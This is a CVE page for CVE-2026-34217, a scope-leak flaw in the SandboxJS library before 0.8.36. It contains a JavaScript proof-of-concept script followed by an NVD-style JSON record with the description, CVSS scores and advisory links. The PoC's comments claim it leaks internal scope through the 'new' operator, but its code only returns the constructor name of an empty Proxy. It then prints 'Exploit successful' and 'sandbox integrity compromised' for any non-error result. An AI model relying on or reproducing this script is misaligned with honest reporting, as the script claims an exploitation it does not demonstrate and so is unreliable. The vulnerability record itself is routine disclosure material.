CVE-2026-34217

// PoC for CVE-2026-34217: SandboxJS Scope Modification // Requires vulnerable version: @nyariv/sandboxjs < 0.8.36 const { Sandbox } = require('@nyariv/sandboxjs'); async function exploit() { // Initialize the sandbox const sandbox = new Sandbox(); // Malicious code designed to leak internal scope objects // using the 'new' operator as described in the vulnerability const untrustedCode = ` // Attempt to access internal scope via constructor leakage const leak = (function() { // Using 'new' to trigger the scope modification return new Proxy({}, { get(target, prop) { // Check if we can access internal scope properties if (prop === 'constructor') { return target[prop]; } return Reflect.get(target, prop); } }); })(); // Return the leaked object reference to verify exploit return leak.constructor.name; `; try { // Execute the code in the sandbox const result = await sandbox.run(untrustedCode); console.log('[+] Exploit successful! Leaked object:', result); console.log('[+] Internal scope exposed, sandbox integrity compromised.'); } catch (error) { console.log('[-] Exploit failed or patched:', error.message); } } exploit();

{"cve": {"id": "CVE-2026-34217", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:34.890", "lastModified": "2026-04-09T18:03:17.287", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SandboxJS is a JavaScript sandboxing library. Prior to 0.8.36, a scope modification vulnerability exists in @nyariv/sandboxjs. The vulnerability allows untrusted sandboxed code to leak internal interpreter objects through the new operator, exposing sandbox scope objects in the scope hierarchy to untrusted code; an unexpected and undesired exploit. While this could allow modifying scopes inside the sandbox, code evaluation remains sandboxed and prototypes remain protected throughout the execution. This vulnerability is fixed in 0.8.36."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-668"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nyariv:sandboxjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "0.8.36", "matchCriteriaId": "F87D3BD6-FACF-45C3-92E4-F411C229C9C6"}]}]}], "references": [{"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-hg73-4w7g-q96w", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}